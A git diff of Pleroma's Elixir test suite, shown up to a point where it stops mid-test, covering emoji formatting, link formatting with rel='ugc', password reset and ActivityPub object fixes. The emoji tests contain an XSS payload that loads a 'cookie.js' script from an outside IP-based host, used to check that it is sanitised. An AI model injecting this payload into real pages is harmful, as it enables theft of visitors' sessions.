diff options
Diffstat (limited to 'test')
| -rw-r--r-- | test/emoji/formatter_test.exs | 64 | ||||
| -rw-r--r-- | test/emoji/loader_test.exs | 83 | ||||
| -rw-r--r-- | test/emoji_test.exs | 83 | ||||
| -rw-r--r-- | test/formatter_test.exs | 138 | ||||
| -rw-r--r-- | test/tasks/instance_test.exs | 11 | ||||
| -rw-r--r-- | test/user_test.exs | 21 | ||||
| -rw-r--r-- | test/web/activity_pub/transmogrifier_test.exs | 267 | ||||
| -rw-r--r-- | test/web/activity_pub/views/user_view_test.exs | 16 | ||||
| -rw-r--r-- | test/web/admin_api/admin_api_controller_test.exs | 26 | ||||
| -rw-r--r-- | test/web/admin_api/views/report_view_test.exs | 15 | ||||
| -rw-r--r-- | test/web/common_api/common_api_utils_test.exs | 6 | ||||
| -rw-r--r-- | test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs | 9 | ||||
| -rw-r--r-- | test/web/mastodon_api/mastodon_api_controller_test.exs | 24 | ||||
| -rw-r--r-- | test/web/oauth/oauth_controller_test.exs | 27 | ||||
| -rw-r--r-- | test/web/pleroma_api/emoji_api_controller_test.exs | 26 | ||||
| -rw-r--r-- | test/web/twitter_api/password_controller_test.exs | 21 | ||||
| -rw-r--r-- | test/web/twitter_api/twitter_api_test.exs | 4 | 
17 files changed, 652 insertions, 189 deletions
diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs new file mode 100644 index 000000000..6d25fc453 --- /dev/null +++ b/test/emoji/formatter_test.exs @@ -0,0 +1,64 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.FormatterTest do +  alias Pleroma.Emoji +  alias Pleroma.Emoji.Formatter +  use Pleroma.DataCase + +  describe "emojify" do +    test "it adds cool emoji" do +      text = "I love :firefox:" + +      expected_result = +        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />" + +      assert Formatter.emojify(text) == expected_result +    end + +    test "it does not add XSS emoji" do +      text = +        "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + +      custom_emoji = +        { +          "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", +          "https://placehold.it/1x1" +        } +        |> Pleroma.Emoji.build() + +      expected_result = +        "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" + +      assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result +    end +  end + +  describe "get_emoji" do +    test "it returns the emoji used in the text" do +      text = "I love :firefox:" + +      assert Formatter.get_emoji(text) == [ +               {"firefox", +                %Emoji{ +                  code: "firefox", +                  file: "/emoji/Firefox.gif", +                  tags: ["Gif", "Fun"], +                  safe_code: "firefox", +                  safe_file: "/emoji/Firefox.gif" +                }} +             ] +    end + +    test "it returns a nice empty result when no emojis are present" do +      text = "I love moominamma" +      assert Formatter.get_emoji(text) == [] +    end + +    test "it doesn't die when text is absent" do +      text = nil +      assert Formatter.get_emoji(text) == [] +    end +  end +end diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs new file mode 100644 index 000000000..045eef150 --- /dev/null +++ b/test/emoji/loader_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.LoaderTest do +  use ExUnit.Case, async: true +  alias Pleroma.Emoji.Loader + +  describe "match_extra/2" do +    setup do +      groups = [ +        "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], +        "wildcard folder": "/emoji/custom/*/file.png", +        "wildcard files": "/emoji/custom/folder/*.png", +        "special file": "/emoji/custom/special.png" +      ] + +      {:ok, groups: groups} +    end + +    test "config for list of files", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/first_file.png") +        |> to_string() + +      assert group == "list of files" +    end + +    test "config with wildcard folder", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/some_folder/file.png") +        |> to_string() + +      assert group == "wildcard folder" +    end + +    test "config with wildcard folder and subfolders", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") +        |> to_string() + +      assert group == "wildcard folder" +    end + +    test "config with wildcard files", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/folder/some_file.png") +        |> to_string() + +      assert group == "wildcard files" +    end + +    test "config with wildcard files and subfolders", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") +        |> to_string() + +      assert group == "wildcard files" +    end + +    test "config for special file", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/special.png") +        |> to_string() + +      assert group == "special file" +    end + +    test "no mathing returns nil", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/some_undefined.png") + +      refute group +    end +  end +end diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 07ac6ff1d..1fdbd0fdf 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do      test "first emoji", %{emoji_list: emoji_list} do        [emoji | _others] = emoji_list -      {code, path, tags} = emoji +      {code, %Emoji{file: path, tags: tags}} = emoji -      assert tuple_size(emoji) == 3 +      assert tuple_size(emoji) == 2        assert is_binary(code)        assert is_binary(path)        assert is_list(tags) @@ -24,87 +24,12 @@ defmodule Pleroma.EmojiTest do      test "random emoji", %{emoji_list: emoji_list} do        emoji = Enum.random(emoji_list) -      {code, path, tags} = emoji +      {code, %Emoji{file: path, tags: tags}} = emoji -      assert tuple_size(emoji) == 3 +      assert tuple_size(emoji) == 2        assert is_binary(code)        assert is_binary(path)        assert is_list(tags)      end    end - -  describe "match_extra/2" do -    setup do -      groups = [ -        "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], -        "wildcard folder": "/emoji/custom/*/file.png", -        "wildcard files": "/emoji/custom/folder/*.png", -        "special file": "/emoji/custom/special.png" -      ] - -      {:ok, groups: groups} -    end - -    test "config for list of files", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/first_file.png") -        |> to_string() - -      assert group == "list of files" -    end - -    test "config with wildcard folder", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/some_folder/file.png") -        |> to_string() - -      assert group == "wildcard folder" -    end - -    test "config with wildcard folder and subfolders", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png") -        |> to_string() - -      assert group == "wildcard folder" -    end - -    test "config with wildcard files", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/folder/some_file.png") -        |> to_string() - -      assert group == "wildcard files" -    end - -    test "config with wildcard files and subfolders", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png") -        |> to_string() - -      assert group == "wildcard files" -    end - -    test "config for special file", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/special.png") -        |> to_string() - -      assert group == "special file" -    end - -    test "no mathing returns nil", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/some_undefined.png") - -      refute group -    end -  end  end diff --git a/test/formatter_test.exs b/test/formatter_test.exs index c443dfe7c..3bff51527 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -19,7 +19,7 @@ defmodule Pleroma.FormatterTest do        text = "I love #cofe and #2hu"        expected_text = -        "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>" +        ~s(I love <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag ugc">#cofe</a> and <a class="hashtag" data-tag="2hu" href="http://localhost:4001/tag/2hu" rel="tag ugc">#2hu</a>)        assert {^expected_text, [], _tags} = Formatter.linkify(text)      end @@ -28,7 +28,7 @@ defmodule Pleroma.FormatterTest do        text = "#fact_3: pleroma does what mastodon't"        expected_text = -        "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't" +        ~s(<a class="hashtag" data-tag="fact_3" href="http://localhost:4001/tag/fact_3" rel="tag ugc">#fact_3</a>: pleroma does what mastodon't)        assert {^expected_text, [], _tags} = Formatter.linkify(text)      end @@ -39,21 +39,21 @@ defmodule Pleroma.FormatterTest do        text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."        expected = -        "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ." +        ~S(Hey, check out <a href="https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla" rel="ugc">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> .)        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://mastodon.social/@lambadalambda"        expected = -        "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>" +        ~S(<a href="https://mastodon.social/@lambadalambda" rel="ugc">https://mastodon.social/@lambadalambda</a>)        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://mastodon.social:4000/@lambadalambda"        expected = -        "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>" +        ~S(<a href="https://mastodon.social:4000/@lambadalambda" rel="ugc">https://mastodon.social:4000/@lambadalambda</a>)        assert {^expected, [], []} = Formatter.linkify(text) @@ -63,55 +63,57 @@ defmodule Pleroma.FormatterTest do        assert {^expected, [], []} = Formatter.linkify(text)        text = "http://www.cs.vu.nl/~ast/intel/" -      expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>" + +      expected = +        ~S(<a href="http://www.cs.vu.nl/~ast/intel/" rel="ugc">http://www.cs.vu.nl/~ast/intel/</a>)        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"        expected = -        "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>" +        "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\" rel=\"ugc\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"        expected = -        "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>" +        "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\" rel=\"ugc\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://www.google.co.jp/search?q=Nasim+Aghdam"        expected = -        "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>" +        "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\" rel=\"ugc\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://en.wikipedia.org/wiki/Duff's_device"        expected = -        "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>" +        "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\" rel=\"ugc\">https://en.wikipedia.org/wiki/Duff's_device</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://pleroma.com https://pleroma.com/sucks"        expected = -        "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>" +        "<a href=\"https://pleroma.com\" rel=\"ugc\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\" rel=\"ugc\">https://pleroma.com/sucks</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text = "xmpp:contact@hacktivis.me" -      expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>" +      expected = "<a href=\"xmpp:contact@hacktivis.me\" rel=\"ugc\">xmpp:contact@hacktivis.me</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text =          "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com" -      expected = "<a href=\"#{text}\">#{text}</a>" +      expected = "<a href=\"#{text}\" rel=\"ugc\">#{text}</a>"        assert {^expected, [], []} = Formatter.linkify(text)      end @@ -135,13 +137,13 @@ defmodule Pleroma.FormatterTest do        assert length(mentions) == 3        expected_text = -        "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{ +        ~s(<span class="h-card"><a data-user="#{gsimg.id}" class="u-url mention" href="#{            gsimg.ap_id -        }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{ +        }" rel="ugc">@<span>gsimg</span></a></span> According to <span class="h-card"><a data-user="#{            archaeme.id -        }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{ +        }" class="u-url mention" href="#{"https://archeme/@archa_eme_"}" rel="ugc">@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class="h-card"><a data-user="#{            archaeme_remote.id -        }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>" +        }" class="u-url mention" href="#{archaeme_remote.ap_id}" rel="ugc">@<span>archaeme</span></a></span>)        assert expected_text == text      end @@ -156,7 +158,9 @@ defmodule Pleroma.FormatterTest do        assert length(mentions) == 1        expected_text = -        "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test" +        ~s(<span class="h-card"><a data-user="#{mike.id}" class="u-url mention" href="#{ +          mike.ap_id +        }" rel="ugc">@<span>mike</span></a></span> test)        assert expected_text == text      end @@ -170,7 +174,7 @@ defmodule Pleroma.FormatterTest do        assert length(mentions) == 1        expected_text = -        "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi" +        ~s(<span class="h-card"><a data-user="#{o.id}" class="u-url mention" href="#{o.ap_id}" rel="ugc">@<span>o</span></a></span> hi)        assert expected_text == text      end @@ -192,13 +196,17 @@ defmodule Pleroma.FormatterTest do        assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]        assert expected_text == -               "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{ +               ~s(<span class="h-card"><a data-user="#{user.id}" class="u-url mention" href="#{                   user.ap_id -               }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{ +               }" rel="ugc">@<span>#{user.nickname}</span></a></span> <span class="h-card"><a data-user="#{                   other_user.id -               }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{ +               }" class="u-url mention" href="#{other_user.ap_id}" rel="ugc">@<span>#{ +                 other_user.nickname +               }</span></a></span> hey dudes i hate <span class="h-card"><a data-user="#{                   third_user.id -               }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>" +               }" class="u-url mention" href="#{third_user.ap_id}" rel="ugc">@<span>#{ +                 third_user.nickname +               }</span></a></span>)      end      test "given the 'safe_mention' option, it will still work without any mention" do @@ -217,6 +225,27 @@ defmodule Pleroma.FormatterTest do        assert expected_text =~ "how are you doing?"      end + +    test "it can parse mentions and return the relevant users" do +      text = +        "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + +      o = insert(:user, %{nickname: "o"}) +      jimm = insert(:user, %{nickname: "jimm"}) +      gsimg = insert(:user, %{nickname: "gsimg"}) +      archaeme = insert(:user, %{nickname: "archaeme"}) +      archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + +      expected_mentions = [ +        {"@archaeme", archaeme}, +        {"@archaeme@archae.me", archaeme_remote}, +        {"@gsimg", gsimg}, +        {"@jimm", jimm}, +        {"@o", o} +      ] + +      assert {_text, ^expected_mentions, []} = Formatter.linkify(text) +    end    end    describe ".parse_tags" do @@ -234,69 +263,6 @@ defmodule Pleroma.FormatterTest do      end    end -  test "it can parse mentions and return the relevant users" do -    text = -      "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" - -    o = insert(:user, %{nickname: "o"}) -    jimm = insert(:user, %{nickname: "jimm"}) -    gsimg = insert(:user, %{nickname: "gsimg"}) -    archaeme = insert(:user, %{nickname: "archaeme"}) -    archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) - -    expected_mentions = [ -      {"@archaeme", archaeme}, -      {"@archaeme@archae.me", archaeme_remote}, -      {"@gsimg", gsimg}, -      {"@jimm", jimm}, -      {"@o", o} -    ] - -    assert {_text, ^expected_mentions, []} = Formatter.linkify(text) -  end - -  test "it adds cool emoji" do -    text = "I love :firefox:" - -    expected_result = -      "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />" - -    assert Formatter.emojify(text) == expected_result -  end - -  test "it does not add XSS emoji" do -    text = -      "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - -    custom_emoji = %{ -      "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => -        "https://placehold.it/1x1" -    } - -    expected_result = -      "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" - -    assert Formatter.emojify(text, custom_emoji) == expected_result -  end - -  test "it returns the emoji used in the text" do -    text = "I love :firefox:" - -    assert Formatter.get_emoji(text) == [ -             {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]} -           ] -  end - -  test "it returns a nice empty result when no emojis are present" do -    text = "I love moominamma" -    assert Formatter.get_emoji(text) == [] -  end - -  test "it doesn't die when text is absent" do -    text = nil -    assert Formatter.get_emoji(text) == [] -  end -    test "it escapes HTML in plain text" do      text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"      expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs index 70986374e..6d7eed4c1 100644 --- a/test/tasks/instance_test.exs +++ b/test/tasks/instance_test.exs @@ -7,7 +7,16 @@ defmodule Pleroma.InstanceTest do    setup do      File.mkdir_p!(tmp_path()) -    on_exit(fn -> File.rm_rf(tmp_path()) end) + +    on_exit(fn -> +      File.rm_rf(tmp_path()) +      static_dir = Pleroma.Config.get([:instance, :static_dir], "test/instance_static/") + +      if File.exists?(static_dir) do +        File.rm_rf(Path.join(static_dir, "robots.txt")) +      end +    end) +      :ok    end diff --git a/test/user_test.exs b/test/user_test.exs index 39ba69668..aebe7aa06 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -1294,9 +1294,9 @@ defmodule Pleroma.UserTest do        bio = "A.k.a. @nick@domain.com"        expected_text = -        "A.k.a. <span class='h-card'><a data-user='#{remote_user.id}' class='u-url mention' href='#{ +        ~s(A.k.a. <span class="h-card"><a data-user="#{remote_user.id}" class="u-url mention" href="#{            remote_user.ap_id -        }'>@<span>nick@domain.com</span></a></span>" +        }" rel="ugc">@<span>nick@domain.com</span></a></span>)        assert expected_text == User.parse_bio(bio, user)      end @@ -1690,4 +1690,21 @@ defmodule Pleroma.UserTest do        assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party")      end    end + +  describe "set_password_reset_pending/2" do +    setup do +      [user: insert(:user)] +    end + +    test "sets password_reset_pending to true", %{user: user} do +      %{password_reset_pending: password_reset_pending} = user.info + +      refute password_reset_pending + +      {:ok, %{info: %{password_reset_pending: password_reset_pending}}} = +        User.force_password_reset(user) + +      assert password_reset_pending +    end +  end  end diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index ebed65b7c..a35db71dc 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -1455,4 +1455,271 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do        refute recipient.follower_address in fixed_object["to"]      end    end + +  describe "fix_summary/1" do +    test "returns fixed object" do +      assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""} +      assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"} +      assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""} +    end +  end + +  describe "fix_in_reply_to/2" do +    clear_config([:instance, :federation_incoming_replies_max_depth]) + +    setup do +      data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) +      [data: data] +    end + +    test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do +      assert Transmogrifier.fix_in_reply_to(data) == data +    end + +    test "returns object with inReplyToAtomUri when denied incoming reply", %{data: data} do +      Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + +      object_with_reply = +        Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873") + +      modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) +      assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873" +      assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + +      object_with_reply = +        Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"}) + +      modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) +      assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"} +      assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + +      object_with_reply = +        Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"]) + +      modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) +      assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"] +      assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + +      object_with_reply = Map.put(data["object"], "inReplyTo", []) +      modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) +      assert modified_object["inReplyTo"] == [] +      assert modified_object["inReplyToAtomUri"] == "" +    end + +    test "returns modified object when allowed incoming reply", %{data: data} do +      object_with_reply = +        Map.put( +          data["object"], +          "inReplyTo", +          "https://shitposter.club/notice/2827873" +        ) + +      Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5) +      modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + +      assert modified_object["inReplyTo"] == +               "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + +      assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + +      assert modified_object["conversation"] == +               "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26" + +      assert modified_object["context"] == +               "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26" +    end +  end + +  describe "fix_url/1" do +    test "fixes data for object when url is map" do +      object = %{ +        "url" => %{ +          "type" => "Link", +          "mimeType" => "video/mp4", +          "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" +        } +      } + +      assert Transmogrifier.fix_url(object) == %{ +               "url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" +             } +    end + +    test "fixes data for video object" do +      object = %{ +        "type" => "Video", +        "url" => [ +          %{ +            "type" => "Link", +            "mimeType" => "video/mp4", +            "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" +          }, +          %{ +            "type" => "Link", +            "mimeType" => "video/mp4", +            "href" => "https://peertube46fb-ad81-2d4c2d1630e3-240.mp4" +          }, +          %{ +            "type" => "Link", +            "mimeType" => "text/html", +            "href" => "https://peertube.-2d4c2d1630e3" +          }, +          %{ +            "type" => "Link", +            "mimeType" => "text/html", +            "href" => "https://peertube.-2d4c2d16377-42" +          } +        ] +      } + +      assert Transmogrifier.fix_url(object) == %{ +               "attachment" => [ +                 %{ +                   "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4", +                   "mimeType" => "video/mp4", +                   "type" => "Link" +                 } +               ], +               "type" => "Video", +               "url" => "https://peertube.-2d4c2d1630e3" +             } +    end + +    test "fixes url for not Video object" do +      object = %{ +        "type" => "Text", +        "url" => [ +          %{ +            "type" => "Link", +            "mimeType" => "text/html", +            "href" => "https://peertube.-2d4c2d1630e3" +          }, +          %{ +            "type" => "Link", +            "mimeType" => "text/html", +            "href" => "https://peertube.-2d4c2d16377-42" +          } +        ] +      } + +      assert Transmogrifier.fix_url(object) == %{ +               "type" => "Text", +               "url" => "https://peertube.-2d4c2d1630e3" +             } + +      assert Transmogrifier.fix_url(%{"type" => "Text", "url" => []}) == %{ +               "type" => "Text", +               "url" => "" +             } +    end + +    test "retunrs not modified object" do +      assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"} +    end +  end + +  describe "get_obj_helper/2" do +    test "returns nil when cannot normalize object" do +      refute Transmogrifier.get_obj_helper("test-obj-id") +    end + +    test "returns {:ok, %Object{}} for success case" do +      assert {:ok, %Object{}} = +               Transmogrifier.get_obj_helper("https://shitposter.club/notice/2827873") +    end +  end + +  describe "fix_attachments/1" do +    test "returns not modified object" do +      data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) +      assert Transmogrifier.fix_attachments(data) == data +    end + +    test "returns modified object when attachment is map" do +      assert Transmogrifier.fix_attachments(%{ +               "attachment" => %{ +                 "mediaType" => "video/mp4", +                 "url" => "https://peertube.moe/stat-480.mp4" +               } +             }) == %{ +               "attachment" => [ +                 %{ +                   "mediaType" => "video/mp4", +                   "url" => [ +                     %{ +                       "href" => "https://peertube.moe/stat-480.mp4", +                       "mediaType" => "video/mp4", +                       "type" => "Link" +                     } +                   ] +                 } +               ] +             } +    end + +    test "returns modified object when attachment is list" do +      assert Transmogrifier.fix_attachments(%{ +               "attachment" => [ +                 %{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"}, +                 %{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"} +               ] +             }) == %{ +               "attachment" => [ +                 %{ +                   "mediaType" => "video/mp4", +                   "url" => [ +                     %{ +                       "href" => "https://pe.er/stat-480.mp4", +                       "mediaType" => "video/mp4", +                       "type" => "Link" +                     } +                   ] +                 }, +                 %{ +                   "href" => "https://pe.er/stat-480.mp4", +                   "mediaType" => "video/mp4", +                   "mimeType" => "video/mp4", +                   "url" => [ +                     %{ +                       "href" => "https://pe.er/stat-480.mp4", +                       "mediaType" => "video/mp4", +                       "type" => "Link" +                     } +                   ] +                 } +               ] +             } +    end +  end + +  describe "fix_emoji/1" do +    test "returns not modified object when object not contains tags" do +      data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) +      assert Transmogrifier.fix_emoji(data) == data +    end + +    test "returns object with emoji when object contains list tags" do +      assert Transmogrifier.fix_emoji(%{ +               "tag" => [ +                 %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}, +                 %{"type" => "Hashtag"} +               ] +             }) == %{ +               "emoji" => %{"bib" => "/test"}, +               "tag" => [ +                 %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}, +                 %{"type" => "Hashtag"} +               ] +             } +    end + +    test "returns object with emoji when object contains map tag" do +      assert Transmogrifier.fix_emoji(%{ +               "tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}} +             }) == %{ +               "emoji" => %{"bib" => "/test"}, +               "tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"} +             } +    end +  end  end diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs index eda95e3ea..78b0408ee 100644 --- a/test/web/activity_pub/views/user_view_test.exs +++ b/test/web/activity_pub/views/user_view_test.exs @@ -37,6 +37,22 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do             } = UserView.render("user.json", %{user: user})    end +  test "Renders with emoji tags" do +    user = insert(:user, %{info: %{emoji: [%{"bib" => "/test"}]}}) + +    assert %{ +             "tag" => [ +               %{ +                 "icon" => %{"type" => "Image", "url" => "/test"}, +                 "id" => "/test", +                 "name" => ":bib:", +                 "type" => "Emoji", +                 